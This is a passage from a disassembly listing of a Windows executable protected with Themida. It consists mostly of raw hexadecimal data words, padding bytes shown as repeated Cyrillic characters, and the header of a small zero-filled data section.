		dd 0B3A8EE9Ah, 965EC837h, 4E94DB36h, 8A0F5880h,	0Ch, 6890Fh
		dd 820F0000h, 0
		dd 0C272C881h, 840F3FEBh, 5, 2CF68166h,	1EB86617h, 6625B50Bh
		dd 6FF8D681h, 1F890Fh, 0F600000h, 86h, 11E800h,	0DC430000h
		dd 3901F18Ah, 7205FE37h, 0E57E75A9h, 59987818h,	0D8BF0F61h
		dd 0BF0FD18Ah, 0E993B1F7h, 5, 6606665Dh, 4880FB9h, 66000000h
		dd 0F48F0BAh, 583h, 0DE816600h,	0BB667042h, 5850B3CDh
		dd 0B70FE58Ah, 3ABF66FAh, 5BF952C0h, 5EFB8B51h,	0FDE8B66h
		dd 88h,	7691B800h, 800F3B2Ch, 6, 810Fh,	0BB510000h, 15E770DCh
		dd 8BD98B58h, 28A0FCBh,	8B000000h, 0B733BBD3h, 0BF0F51AFh
		dd 3DDE81F1h, 662ABE73h, 2A2BDE81h, 8B66D9B0h, 0F2B70FCBh
		dd 0DE9h, 0B71C5800h, 0B026C4D8h, 3F3D560Ch, 820FF271h
		dd 0Ch,	6860Fh,	0DA810000h, 21BDB6C2h, 5820Fh, 66500000h
		dd 815AC88Bh, 0C7D5DCC8h, 11E9515Fh, 44000000h,	87A78BD8h
		dd 0BAC08EAFh, 846B33AAh, 0ABA67370h, 14E95Eh, 16F00000h
		dd 67A18952h, 0CB58AD25h, 78AEE30Ch, 162E065Eh,	0BF0F1CB0h
		dd 13E9FFh, 0B7EB0000h,	383F2EE1h, 0D0DBB27Eh, 2BEF9BE7h
		dd 0E73D4E3Bh, 0C38B66BEh, 0E96051F8h, 5, 6276675Ch, 616160A2h
		dd 20C6BF5Bh, 0B70F0AAFh, 0BDB456D6h, 67D1805Fh, 57DABF0Fh
		dd 0E3DAB966h, 12E95Eh,	0C9A70000h, 0ACDBAE84h,	298CD51h
		dd 0AD27E80Ah, 0AC7CD2h, 64DE1ABBh, 0CA81661Bh,	15B90A2Fh
		dd 0F4C9BF8h, 8166D3BFh, 0F621CD0h, 0F560F8B7h,	0DFBA6661h
		dd 0F0BB53E7h, 5A51C334h, 28E0F52h, 0B1000000h,	0EB81593Ch
		dd 0DDF7181h, 94AC38BAh, 14E97Eh, 9CD80000h, 9C1E766h
		dd 0C44795E4h, 901C2337h, 0C6A86B17h, 8B66239Eh, 0D08B66F0h
		dd 5CE38166h, 0E2816682h, 0E881833Eh, 5677A764h, 8C0Fh
		dd 6E80000h, 28000000h,	2FCA75Ah, 0CFB70F86h, 0BF0FF85Fh
		dd 0AE8DAh, 0C7050000h,	121731A2h, 53D73278h, 56D798B9h
		dd 3BBE5803h, 662C2B98h, 2307C981h, 0CE8h, 16B27B00h, 0AFC5332Ch
		dd 0E793845Ch, 94EF8024h, 0BF0F605Ah, 0AE961F9h, 4F000000h
		dd 0F9F24CB3h, 0A8CE3FD4h, 0E5F9BB93h, 0FC60738Dh, 5870Fh
		dd 81660000h, 618CE9F1h, 0DF8150FCh, 2D87C83h, 5DBE665Eh
		dd 0F2816694h, 0B1BE1921h, 0F0C61B2h, 1684h, 11E900h, 0FD6A0000h
		dd 0D3A5B3D6h, 1B6BE8AEh, 96415DFDh, 0FA86607h,	0D08BD7B7h
		dd 0F19FE6BEh, 0F7816671h, 0BBF5D29Bh, 7E842745h, 0FF3BBB66h
		dd 14E9D18Bh, 57000000h, 480798B8h, 51B5CB7Fh, 83D7E214h
		dd 875F4F21h, 0E9330057h, 0Eh, 0B471A916h, 0F0AAF980h
		dd 0DCBD436Bh, 800F61FCh, 2, 66FCD78Bh,	60266BB8h, 0CE9h
		dd 460AE800h, 0D5C0AFB9h, 0FDC3EC74h, 0D2805275h, 0BF615989h
		dd 39E1B38Dh, 0D850FF5h, 0E9000000h, 8,	0EA6D9EA8h, 0B43E8A83h
		dd 0BDA952BEh, 10E97Dh,	0C1FE0000h, 10CF0EC2h, 3AF11531h
		dd 77075D93h, 0D2814DF5h, 6EA0CCC0h, 0A7D01ABAh, 7BB3BF4Ch
		dd 81663F49h, 0E9F02EE1h, 12h, 3F21538Dh, 96E4B475h, 0EB9BB32Ch
		dd 0B5A4BAD2h, 0B70F5FF4h, 0B7AFBBC9h, 0BF607CA7h, 69199446h
		dd 68C0Fh, 0D6810000h, 15AB475Dh, 6609B561h, 890FFB8Bh
		dd 5, 642702B9h, 95BF6632h, 0F08166F3h,	0E8F9C3DAh, 9
		dd 7C8A89EDh, 10819424h, 59C88AD3h, 0E9D9B70Fh,	13h, 327CF8BAh
		dd 0ED32BEF3h, 85D22C47h, 0ADE321CFh, 0FDD1EF6h, 82h, 0E9F88B00h
		dd 0Dh,	0ED11271Ch, 0C35E3F64h,	7739C177h, 0C9B70F67h
		dd 0E9D08B66h, 0Fh, 0A4E3E44h, 55B045CCh, 42CFD013h, 0E96A264Eh
		dd 0Ch,	61A6991Bh, 81FA897Dh, 2725613Eh, 0B96633B0h, 8B0F1BF0h
		dd 4, 5BDC8A52h, 62A26DBEh, 0F7E1817Ah,	817C951Dh, 0DEECFBCAh
		dd 0C38B6652h, 58E0Fh, 81660000h, 0BA7759D9h, 7A0E4A66h
		dd 8E8h, 68C36900h, 5B165B57h, 38E0FC7h, 66000000h, 0F58C78Bh
		dd 0CE9DBBFh, 4B000000h, 0EEE72D8Ch, 14A14473h,	0F56C0272h
		dd 0EFF08166h, 0FBE6811Eh, 6617EC82h, 0BF4CA0BFh, 5DA05B6Fh
		dd 53C18B66h, 5FCB8B66h, 0BE9h,	0AFF4C500h, 0EE5CB9D5h
		dd 0B9E89CDAh, 0E9C2B70Fh, 0Ah,	4B37DCBEh, 2D64AB9Ch, 60B44DEFh
		dd 0A0F38160h, 6672C77Bh, 0D46BC081h, 54EF8161h, 8B6A615Fh
		dd 0D6BF0FDFh, 4372BE66h, 0DBDC8FB8h, 820F600Fh, 5, 1BEF6BBFh
		dd 0F61F56Fh, 181h, 0B70FF900h,	3850FD6h, 80000000h, 0DB8196DFh
		dd 6C77B77h, 0C781FE8Bh, 3887A029h, 3815E281h, 0C7814643h
		dd 5F72D3CCh, 0D10134BEh, 5E931h, 54050000h, 8AE8BE69h
		dd 0F68166D9h, 0DABEFBB1h, 660D8955h, 0E96B25BBh, 0Fh
		dd 12AF5BBEh, 90435020h, 0B6DA88F4h, 0F1C5D46h,	587h, 0DF816600h
		dd 0F1818E73h, 308D4113h, 1840Fh, 60F80000h, 66FCDA80h
		dd 6172F9B8h, 0BEB4A0BFh, 0C681666Ah, 0E5B3BDE9h, 8BEEC180h
		dd 6E960F8h, 0A1000000h, 0E885F53Fh, 6132B308h,	98F28166h
		dd 0FE9F99Ah, 43000000h, 6E1DD302h, 0C4D450BBh,	0B0BF1862h
		dd 8B66DC0Fh, 3D44B9C2h, 0FE95FA9h, 0D0000000h,	82B4ABCCh
		dd 0AAADBDCh, 74F52C00h, 67BE8FCCh, 0F63B614h, 25BEC9BFh
		dd 66321386h, 0B657E781h, 6057CF8Ah, 8BF38B66h,	0FC5861D6h
		dd 0DE9h, 62D9B400h, 0E5CA335Bh, 870922ECh, 0FE8D651h
		dd 3D000000h, 0E49373CBh, 6C38BD47h, 0CDF67A35h, 5AF81B77h
		dd 88E3D681h, 0CA803636h, 0B8D0FC9h, 0F000000h,	58Bh, 2A14BA00h
		dd 10E91017h, 4A000000h, 0ED99A0EFh, 0D35BC25Ch, 0D1339884h
		dd 6074A0B4h, 0FC6164B5h, 10E8h, 0BCD6FC00h, 0F3A513D8h
		dd 0DF672B9Bh, 0CFF00E3Dh, 0B70F6062h, 0D3B70FC6h, 0B5F55F61h
		dd 6820FFBh, 81000000h,	0BB9F5C8h, 0F0816639h, 0FA8B72E3h
		dd 0AE8h, 3297CA00h, 0E9DD6A8Ch, 804285A7h, 0F5830DCh
		dd 5E9FFBFh, 0D8000000h, 408BE317h, 0EE9h, 7C16C200h, 522D030h
		dd 4D12CAAEh, 0BA300CAAh, 37F2BB11h, 66F7B70Fh,	0FC9C06BFh
		dd 0CE9h, 42BDA00h, 0F5B82A86h,	72D8F588h, 66F9F91Eh, 2059D381h
		dd 8E9h, 0D4CA400h, 0CA8B7D9Bh,	0E8D9B5CDh, 0Eh, 0CAC265BBh
		dd 9241F9Eh, 85A48A41h,	0BE666CE1h, 665F4629h, 520DE381h
		dd 0EE9h, 0EF658600h, 0CC4E2855h, 0A257249h, 0F4B2491h
		dd 0B8Dh, 5830F00h, 66000000h, 3320C881h, 709FEF81h, 0B866469Bh
		dd 8B660D62h, 3820FD7h,	66000000h, 11E8D08Bh, 1D000000h
		dd 18297ED1h, 2FD1FCACh, 7CA7DA7Bh, 6EAAD7D3h, 816659F9h
		dd 8A8456C3h, 0D8D281EAh, 0E9441D7Dh, 14h, 6AB0B461h, 787B4519h
		dd 90EBA165h, 43CAD94Ch, 43B37452h, 1800Fh, 56F90000h
		dd 58C9D980h, 0D6BF0F57h, 5850F5Eh, 66000000h, 0EF13C781h
		dd 81DFB70Fh, 59703FC6h, 66F78B15h, 820FF88Bh, 5, 15D68166h
		dd 800F601Dh, 5, 0AA30F4BFh, 0A5F4800Eh, 7E861h, 0CB560000h
		dd 468DAD2h, 850F6Dh, 5A000000h, 9E9h, 8E9E2B00h, 6203801h
		dd 8B0F1D08h, 5, 79F78166h, 72BF6645h, 8B0F10h,	56000000h
		dd 0DE816651h, 5A5B2BD0h, 5890Fh, 84B80000h, 0B92DA725h
		dd 4761983Dh, 14880Fh, 8E80000h, 15000000h
		dd 3488BCBh, 0F484B73h,	8Eh, 0E9F85A00h, 7, 8B6A4A8Ch
		dd 8AC4A889h, 890FF8C6h, 0
		dd 6E9h, 24692A00h, 815CFB23h, 4E4341F7h, 0DDBA6601h, 68BA66F1h
		dd 0CBBF0F0Ah, 8830Fh, 850F0000h, 2, 0BE85E57h,	74000000h
		dd 8589DE67h, 472AEFF4h, 0B050F0D3h, 665E5EBBh,	81DA0ABBh
		dd 0F17644EBh, 0BE810h,	1C1F0000h, 705FE20Ch, 7F74FEC4h
		dd 9E947h, 85C30000h, 1714C456h, 5B5FF9BFh, 0ED2BB66h
		dd 113CD781h, 0B70F29C6h, 0FCB8BC0h, 0A84h, 5E900h, 0F4810000h
		dd 0E91AD20Bh, 10h, 545D8E22h, 4E3A7A21h, 86B61A4Eh, 0ACDA5E64h
		dd 0C28BFA8Bh, 0BE66D18Bh, 860FA289h, 9, 3870Fh, 0C6800000h
		dd 13E9F0h, 6DAE0000h, 6EE7ADFAh, 0E3A099BDh, 0DE7A4D62h
		dd 424068A6h, 5830F09h,	0BE000000h, 3172D8FDh, 92A8C881h
		dd 66F93962h, 0D181DF8Bh, 6CC4600Ch, 8E9h, 0A12A7900h
		dd 6F5AE042h, 870FF843h, 0
		dd 0C480D08Bh, 11E9F0h,	0C1A0000h, 0CD759E00h, 5C390474h
		dd 0BBAE246Eh, 0F72BC90h, 28Eh,	0BAC38B00h, 2E8E7D35h
		dd 0F0BFFE8Bh, 601DA5F4h, 0A8D08060h, 0B70F6161h, 58E0FF3h
		dd 0B8000000h, 1F55D5E6h, 6660D98Bh, 8BECA6BFh,	606061DFh
		dd 8E7E6DBEh, 5E85Eh, 0ABF60000h, 5F3E1106h, 0DA816661h
		dd 8A61CC85h, 0C18166C6h, 8A0F091Dh, 3,	0FDEB70Fh, 680h
		dd 3BCB8100h, 66774C04h, 0E9471CBEh, 0Bh, 0C61BBE1Ah, 62EE745Fh
		dd 0F6722EAh, 28Ch, 0BB5AB500h,	56526Ch, 15840Fh, 0E9510000h
		dd 0Eh,	55EF6586h, 49CC4E28h, 910A2572h, 515A4B24h, 0F5FCB8Bh
		dd 88h,	0DF8B6600h, 13E8h, 0FD6AAC00h, 0D3A5B3D6h, 1B6BE8AEh
		dd 96415DFDh, 0FBA86607h, 4AF1DE81h, 0F8586222h, 11E9FCh
		dd 8F280000h, 724A8475h, 766FC7A8h, 476DBD9Ah, 81811DACh
		dd 0ECE570F6h, 80DA8B24h, 0D081C4C6h, 0FE6912Eh, 0D9F08166h
		dd 0E9D18BE5h, 10h, 0EF90E48Eh,	53CF4716h, 0CCBAAAEBh
		dd 0D197BF95h, 5712EF80h, 7E8h,	0F819C700h, 5CEA5CD5h
		dd 0A77B97BAh, 515E5B2Ah, 8E9h,	0B51D7800h, 11DF2BF3h
		dd 0EE8A59F5h, 13E8h, 298C8700h, 9F761A8Eh, 158139Dh, 21EA1BA2h
		dd 0FFB531B0h, 5FD2B70Fh, 13E9F5h, 3C9C0000h, 75F9D56Fh
		dd 0A656974Eh, 0C33BCE10h, 924C5302h, 0CF8B661Eh, 66F5D98Bh
		dd 129D181h, 5E9CC8Ah, 43000000h, 5D28EAF0h, 6E9h, 0C3634500h
		dd 0F76A2AAh, 1A8Bh, 0EE800h, 31480000h, 2F7172BDh, 0B1F4579Bh
		dd 541512E2h, 810Fh, 66590000h,	0BF0FF18Bh, 0C38166D9h
		dd 0F578930h, 381h, 0FE8B6600h,	0ECEE805Fh, 0FD78B66h
		dd 8151D1BFh, 28AE55E6h, 0BE95822h, 52000000h, 0BCDA8EE9h
		dd 9606167Ch, 0B70F7E6Eh, 14E8C7h, 0AFEF0000h, 8D77AFA6h
		dd 0A7E6CE55h, 600648B8h, 0FBB8502Fh, 68BF24D3h, 5A5D60EEh
		dd 0BE665250h, 5B5AE4BDh, 0EE8h, 0D03B4500h, 0E2F3E87h
		dd 5A170912h, 0F48C00Ch, 0B358D8BFh, 6DCE8140h,	8064268Eh
		dd 11E8E9C1h, 43000000h, 91199EFCh, 83C90C99h, 0EA2B20B3h
		dd 0A44CADD1h, 18F78166h, 870F5842h, 2,	7E8C78Ah, 0A5000000h
		dd 5055478Ch, 870F2FAEh, 3, 5EDABF0Fh, 0BE857h,	78910000h
		dd 4A2930ABh, 0BF506CE5h, 0E5F4B9B8h, 5A597BCEh, 38D0FF9h
		dd 66000000h, 8B66D18Bh, 0B0F681C3h, 0F08370Dh,	0D18BF6BFh
		dd 81F0B70Fh, 0FD9FFDCAh, 8E975h, 0EDC10000h, 37113154h
		dd 5E501866h, 11E9h, 0AD3E1500h, 0B7DAEB63h, 0C8C40A36h
		dd 8C30A825h, 0E78004E0h, 0C68B5058h, 8EA815Bh,	570DDF9Bh
		dd 81665BFCh, 604F83C7h, 0FCB8B66h, 68Bh, 8C0F00h, 61000000h
		dd 0E1D5BA66h, 11E9h, 0D9462A00h, 0DA6EBA3Ch, 77B5B91Ch
		dd 0CF13FA13h, 0E957CBCFh, 0Ch,	2AFD9647h, 0E1A6190Dh
		dd 16AF1F4Fh, 14E95Bh, 0F5F50000h, 0F04414C3h, 71325AE5h
		dd 8B8321EFh, 510AE5A0h, 0D0B1FB83h, 1860Fh, 0BEF80000h
		dd 42601C87h, 13E9h, 0E8250800h, 6C513DA8h, 450CB1Ch, 9B945615h
		dd 81AA09Ah, 28F0F52h, 8B000000h, 81665BD7h, 8B0997E9h
		dd 13E8D8h, 0CA4E0000h,	8BF40132h, 5117C6A3h, 5ACEF06h
		dd 0B9769CC8h, 5B5E507Fh, 9AE181FCh, 817E7876h,	747D4C9h
		dd 0D08B6633h, 0BE9h, 0B8B37B00h, 31A406C4h, 23336241h
		dd 0B6DCCB80h, 0AE9B9h,	0A0940000h, 9A1E7D94h, 91BBB555h
		dd 6CC99ABEh, 0E781F845h, 24B3289Fh, 11B9D881h,	0F281355Eh
		dd 451D1068h, 0EE9h, 0F6546C00h, 3325B537h, 0AE0B70ECh
		dd 66202FF0h, 0BF0FFA8Bh, 8A0F60F0h, 2,	81665951h, 6181A7DBh
		dd 0BE9h, 0BE5EE000h, 4AE05277h, 25A57566h, 0B5C6BF0Fh
		dd 0AE927h, 0F7BF0000h,	455A966Ah, 0DE55DD3Eh, 19820Fh
		dd 14E90000h, 0A5000000h, 0E5818377h, 0AF7AA451h, 687808FBh
		dd 0FFF415B2h, 80827294h, 0D38075E9h, 0FFE8B1Ch, 0D08BDABFh
		dd 0AE9h, 0D8D78100h, 78EE2AE4h, 0B834EF1Eh, 3195F9ECh
		dd 5E9h, 85DE0B00h, 0B966B743h,	14E916E5h, 0D4000000h
		dd 1514D235h, 0B4B1CE66h, 64359E40h, 0C0635407h, 0F986AF9h
		dd 8Fh,	0C0BF6600h, 0DBB70F0Eh,	608BEEB9h, 0D2BF0F64h
		dd 6EE5E781h, 0DB815CACh, 5A8B82Ah, 80CF8B60h, 0E9615AE0h
		dd 9, 7DB4CCABh, 232AF3FEh, 97B866A1h, 0D38B665Eh, 158F0Fh
		dd 10E90000h, 2E000000h, 0DFF83371h, 79A00FC4h,	0F618C359h
		dd 0E807B1D3h, 14h, 0D7A1299h, 7289E569h, 9DA01365h, 790434BEh
		dd 97029FF5h, 3EBB575Bh, 5E183420h, 0FC9BF0Fh, 386h, 0C8BF0F00h
		dd 12E960h, 129A0000h, 0A9D6033Dh, 0A9942C31h, 0E4570B97h
		dd 365620Bh, 0F0EABF66h, 0F1B70F61h, 9E960h, 0E4B50000h
		dd 5F116971h, 0F92D1E9h, 586h, 0D6816600h, 606177EFh, 0DEB70FF5h
		dd 0E3815261h, 6E5D9FF4h, 8166FC5Fh, 667718F1h,	10E8D68Bh
		dd 8000000h, 837C7798h,	0D550A274h, 9FA79344h, 8155B484h
		dd 53BFBFEEh, 0A9B75A17h, 860Fh, 0BF660000h, 0E88A9416h
		dd 665DCE80h, 76B5C88Bh, 7E9h, 0B04F2C00h, 382470FFh, 4810Fh
		dd 8B560000h, 880F5BCAh, 5, 647BC1BBh, 6CD98130h, 0F4EF80Ch
		dd 81h,	3133BB00h, 0CE9071Fh, 0AC000000h, 15C8944Dh, 57B3C8F2h
		dd 0FF5D2FCh, 1A88h, 14E800h, 9E6F0000h, 9DC2D6EAh, 0E064C018h
		dd 5A9FBD6Ch, 39975704h, 0B95A117Dh, 2645BE97h,	0AE9h
		dd 80757300h, 2EF1E1F0h, 0F4D30CFh, 0BF0FDFB7h,	0E68166CAh
		dd 0C88B30D6h, 0B390CA81h, 0BF0F75B9h, 66EFB7F1h, 41CCE381h
		dd 5EAEBF66h, 14E935B1h, 70000000h, 0D96F9064h,	44667B1Bh
		dd 520B74EAh, 0ACEC2F2Ch, 602D9410h, 51D1BF0Fh,	10E9h
		dd 82097700h, 0C2CC99Fh, 8E38EF12h, 24CBB0BBh, 0BF615B75h
		dd 47029C54h, 6E8h, 54741D00h, 0FB12DBEh, 0E959C7B7h, 0Fh
		dd 2F8A088h, 0FFE3EBAAh, 2624E6CDh, 50444E10h, 0CD17DA81h
		dd 8B5F3A4Fh, 0BF0FFCF2h, 66C18BCBh, 552FDA81h,	0D08166F9h
		dd 816612E2h, 66EAECC0h, 0F51F28Bh, 815FFAB7h, 48915CCAh
		dd 6660F52Ah, 14ACC081h, 0DE9h,	0E0CAE400h, 9F54E352h
		dd 0B91699ABh, 6661C15Fh, 8BD855B9h, 5E960F0h, 89000000h
		dd 2C4EC847h, 0BE9h, 0C613A300h, 0CB5C8487h, 245BBD10h
		dd 8B50F561h, 66F859C2h, 66089DBEh, 81C5CAB9h, 6D1C42E0h
		dd 0C0B70F3Bh, 4BA6660h, 2860FB8h, 50000000h, 8B66615Bh
		dd 58B0FCEh, 0BA000000h, 378A6E44h, 0BE8h, 81486900h, 9EBD657Ch
		dd 63BDA868h, 12890Fh, 0DE90000h, 0F0000000h, 7A39BAF9h
		dd 8DFA4DE2h, 6D2DE29Ah, 0FCC38A59h, 0FFC88166h, 96F167DCh
		dd 220h	dup(96F16776h),	72636776h, 443h	dup(72630C7Ah)
		dd 0C30E8B7Ah, 0B9h dup(0C30E8B74h), 9316AFEAh,	247h dup(9316AFEBh)
		dd 0CA132EBh, 1A7h dup(0CA132DEh), 0CCCC32DEh, 1E2h dup(0CCCCCCCCh)
		db 2 dup(0CCh)
asc_5BBAFE	db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
					; DATA XREF: Themida_:0053C850o
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'лллллллл',0
		align 1000h
Themida_	ends

; Section 5. (virtual address 001BE000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 001BE000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 5BE000h
		dd 80h dup(0)
		align 1000h
_idata2		ends


		end start